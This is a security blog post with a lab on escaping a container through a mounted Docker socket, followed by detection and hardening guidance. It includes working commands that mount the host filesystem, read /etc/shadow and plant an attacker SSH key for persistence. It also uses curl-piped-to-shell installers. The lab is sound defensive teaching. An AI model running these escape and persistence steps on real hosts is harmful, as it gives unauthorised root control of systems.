Any container with /var/run/docker.sock mounted effectively runs as host root. The Docker daemon executes every API request with host-level privileges, and the socket is the API. Hand a container that socket and you’ve handed it a root shell on the host—indirectly. This post proves it with a complete, reproducible lab, then shows you how to shut the door.
If you’ve read our coverage of agentic AI attack chains, you know the pattern: a component designed for convenience becomes the privilege boundary nobody audited. The Docker socket is the infrastructure-world version of that same failure.
Lab Setup and Prerequisites
You need:
- A disposable VM or cloud host (Ubuntu 22.04/24.04, Debian 12, or similar) with at least 2 GB RAM
- Docker Engine installed (24.x or later;
curl -fsSL https://get.docker.com | shworks fine) - A non-production host you can burn afterward. Seriously.
Warning: never run this lab on a production system, your workstation running sensitive workloads, or any host with data you care about. This lab deliberately creates a host-compromise scenario. CISA’s guidance on securing containers (AA23-131A) exists precisely because these misconfigurations are actively exploited in the wild.
How the Docker Socket Works (and Why It’s Powerful)
The Docker daemon (dockerd) listens on a Unix domain socket at /var/run/docker.sock. Every docker CLI command—docker run, docker exec, docker build—is just an HTTP REST call to the Docker Engine API over that socket.
Three facts turn this into a kill chain:
- The daemon runs as root (or as a user with root-equivalent capabilities, even in rootless mode).
- The socket has no authentication layer. Unix file permissions are the only gate: if your process can read/write the socket, the daemon trusts you completely.
- The daemon can create containers with arbitrary privileges—including host filesystem binds, host network mode, and
--privileged.
So the question “is the socket dangerous?” reduces to “can I create a container that mounts /?” Anyone with socket access can. That’s the entire exploit.
Building the Vulnerable Lab: Mounting /var/run/docker.sock
This is a pattern you’ll find in thousands of CI configs and Stack Overflow answers, usually to let a container “manage sibling containers”:
docker run -d --name vulnerable
-v /var/run/docker.sock:/var/run/docker.sock
lab/escape-target:latest
The Dockerfile for the lab container:
FROM alpine:3.20
RUN apk add --no-cache docker-cli curl openssh-client
# Drop the attacker into a shell
CMD ["sleep", "infinity"]
docker build -t lab/escape-target:latest .
docker run -d --name vulnerable
-v /var/run/docker.sock:/var/run/docker.sock
lab/escape-target:latest
docker exec -it vulnerable sh
You’re now inside a container with a mounted socket. The container itself has no --privileged flag, no host mounts, no host network. It looks harmless. It isn’t.
The Escape: From Container to Host Root in Five Commands
Inside the container, first confirm socket access:
/ # ls -l /var/run/docker.sock
srw-rw---- 1 root root 0 Jun 12 09:14 /var/run/docker.sock
/ # docker -H unix:///var/run/docker.sock version --format '{{.Server.Version}}'
27.0.3
The container can talk to the host daemon. Now spawn a sibling container that mounts the host root filesystem:
/ # docker run --rm -v /:/host -it alpine:3.20 chroot /host sh
/ #
That’s it. No exploit code, no kernel bug, no CVE. The -v /:/host bind is interpreted by the host daemon, which happily mounts the host’s filesystem into the new container. chroot /host drops you into the host’s filesystem namespace. Five commands, total.
Verifying the Kill Chain: Proof of Host Compromise
Inside the chrooted sibling, verify you’re effectively on the host:
/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # hostname
docker-lab-vm
/ # head -3 /etc/shadow
root:$y$j9T$...hashed...:19800:0:99999:7:::
daemon:*:19800:0:99999:7:::
hostname returns the host’s name—not the sibling container’s—because you’re reading the host’s /etc. You’re reading /etc/shadow, which no container should ever touch. Persistence is one command away:
/ # mkdir -p /root/.ssh
/ # echo "ssh-ed25519 AAAA... attacker@lab" >> /root/.ssh/authorized_keys
The attacker now has persistent SSH access to the host. The “isolated” container was never isolated—its socket was.
Why This Matters: Real-World Attack Surface
This isn’t a lab curiosity. The pattern shows up everywhere:
- CI/CD runners. Jenkins, GitLab Runner (shell/docker executors), and self-hosted GitHub Actions runners routinely mount the socket to build images. A compromised build step—say, a malicious dependency executing during
npm install—owns the runner host. - Docker-in-Docker misuse. Mounting the socket is not DinD; it’s “Docker-out-of-Docker,” and it grants sibling access, not isolation.
- Exposed daemon APIs.
dockerd -H tcp://0.0.0.0:2375with no TLS is functionally identical to exposing the socket to the internet. Shodan has indexed exposed Docker APIs for years, and cryptominer botnets (TeamTNS, Kinsing campaigns) have automated the compromise: query the API, spawn a privileged container, mine, pivot. - Containers that “just need” socket access. Portainer, Watchtower, Traefik’s early Docker providers—the convenience default is the socket, and every one of them becomes a root-equivalent service.
OWASP’s Docker Security Cheat Sheet (cheatsheetseries.owasp.org) calls this out explicitly: do not mount the socket unless absolutely necessary, and never expose the daemon over unauthenticated TCP.
Detecting the Abuse: Blue-Team Signals
The escape leaves clear forensic fingerprints:
- Docker daemon audit logs. Every API call is logged via systemd journal or the daemon’s log driver. Watch for
POST /containers/createrequests originating from containers, especially withBinds:["/:/host"]orPrivileged:truein the request body. - Falco rules. Falco (falco.org) ships out-of-the-box rules for exactly this: “Container spawned with host mount,” “Docker socket access from container,” and privileged sibling creation. An eBPF sensor catches the
connect()to the socket from a container process. - Host-level anomalies. Unexpected new containers appearing on the host, containers with
/bound, sudden SSH keys in/root/.ssh, orchrootsyscalls traced from short-lived containers. - Auditd on the socket inode. Rules watching for
connectto/var/run/docker.sockfrom processes whose container ID isn’t the daemon itself.
Hardening Option 1: Rootless Docker
Rootless mode (docs.docker.com/engine/security/rootless) runs the entire daemon under an unprivileged user using user namespaces. The daemon’s “root” is a mapped UID—the host kernel sees it as, say, UID 1001310800.
curl -fsSL https://get.docker.com/rootless | sh
systemctl --user enable --now docker
export DOCKER_HOST=unix:///run/user/1000/docker.sock
Rerun the escape attempt. The sibling container mounts the daemon user’s namespace view, not the real host root. Reading /etc/shadow fails; the bind either maps to subuid-owned files or is rejected outright. The kill chain breaks at the mount step.
Remaining risk: the escape still compromises the daemon user’s home directory, its volumes, and any resources owned by its subuid range. Rootless shrinks the blast radius from “host root” to “unprivileged user”—a massive improvement, not an immunity.
Hardening Option 2: Docker Socket Proxy
When a container legitimately needs to query Docker (service discovery, health checks) but shouldn’t create containers, put an authorization layer in front of the API. Tecnativa’s docker-socket-proxy (github.com/Tecnativa/docker-socket-proxy) is a HAProxy-based filter that whitelists endpoints:
docker run -d --name socket-proxy
-v /var/run/docker.sock:/var/run/docker.sock:ro
-e CONTAINERS=1 -e IMAGES=1
-e POST=0 --network internal
tecnativa/docker-socket-proxy:latest
Point your containers at this proxy instead of the socket. GET /containers/json works; POST /containers/create returns 403 Forbidden. Test it:
$ curl -s http://socket-proxy:2375/containers/json | jq '.[0].Names'
["/vulnerable"]
$ curl -s -X POST http://socket-proxy:2375/containers/create
-H 'Content-Type: application/json'
-d '{"Image":"alpine"}'
HTTP/1.0 403 Forbidden
The same principle applies to any powerful API surface—whether it’s a container runtime or an AI agent’s tool interface: filter capabilities, don’t trust the client.
Hardening Checklist and Recommendations
- Never mount
/var/run/docker.sockunless unavoidable. If a tool demands it, ask whether a rootless alternative or API-scoped access exists. - Proxy, don’t expose. Least-privilege socket proxy with
POST=0for read-only consumers. - Rootless Docker for multi-tenant or untrusted workloads.
- Keep seccomp profiles and AppArmor/SELinux enabled—they’re not a substitute for socket hygiene but add defense in depth.
- Never run the daemon on unauthenticated TCP. If remote API access is required, use TLS mutual auth and network controls.
- Monitor socket access with Falco or auditd; alert on container-created containers.
- Segment CI runners. Ephemeral, single-use, isolated VM runners for untrusted builds.
Complete Lab Files and Reproduction Steps
Dockerfile (lab/Dockerfile):
FROM alpine:3.20
RUN apk add --no-cache docker-cli curl
CMD ["sleep", "infinity"]
docker-compose.yml:
services:
vulnerable:
build: ./lab
container_name: vulnerable
volumes:
- /var/run/docker.sock:/var/run/docker.sock
socket-proxy:
image: tecnativa/docker-socket-proxy:latest
environment:
- CONTAINERS=1
- IMAGES=1
- POST=0
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
networks: [internal]
networks:
internal:
internal: true
Full command sequence:
docker compose up -d --build
docker exec -it vulnerable sh
# docker -H unix:///var/run/docker.sock run --rm -v /:/host -it alpine chroot /host sh
# id && hostname && head -3 /etc/shadow
# Verify proxy blocks writes:
docker compose exec socket-proxy curl -s -X POST localhost:2375/containers/create
Rebuild, verify, then destroy the VM. The lesson sticks better when you’ve watched the kill chain execute end to end—and the hardening, when you’ve watched it fail.
Frequently Asked Questions
Is mounting /var/run/docker.sock always dangerous?
Yes. Anyone with socket access effectively holds host root, because the daemon executes API calls with host-level privileges—including creating privileged sibling containers that bind the host filesystem. There’s no safe subset of socket access; convenience and compromise differ by one docker run command.
Is Docker-in-Docker (DinD) a safe alternative?
Only when the outer container is properly isolated—dedicated, ephemeral CI runner VMs running true DinD with a nested daemon. Mounting the host socket into a container is not DinD at all; it’s shared-daemon access with zero isolation. Nesting with a mounted socket gives you the illusion of a sandbox and the reality of host root.
Does rootless Docker fully eliminate the risk?
No. It contains the daemon under an unprivileged user with user namespaces, which breaks the host-root escape. But an attacker who escapes still controls that user’s home directory, volumes, and subuid resources—and some namespace and kernel attack surface remains. Treat rootless as blast-radius reduction, not elimination.
What does a Docker socket proxy actually restrict?
It filters Docker API endpoints: read-only queries like GET /containers/json pass through, while mutating calls like POST /containers/create are denied with 403. Containers can observe Docker state without being able to spawn privileged containers or manipulate the host.
Can an exposed Docker API on TCP port 2375 be exploited the same way?
Yes—and faster. Unauthenticated TCP daemon access is functionally identical to socket access, minus the local file-permission gate. Exposed 2375/2376 endpoints are routinely scanned, indexed, and compromised by automated botnets within hours of appearing online. If the daemon must listen on TCP, require mutual TLS and lock it behind network controls.
Related reading
- Build an AiTM Phishing Lab with Evilginx: Understanding Session Cookie Theft and Detection
- Wireshark + Scapy Lab: Replay and Dissect Aircraft ADS-B and ACARS Traffic
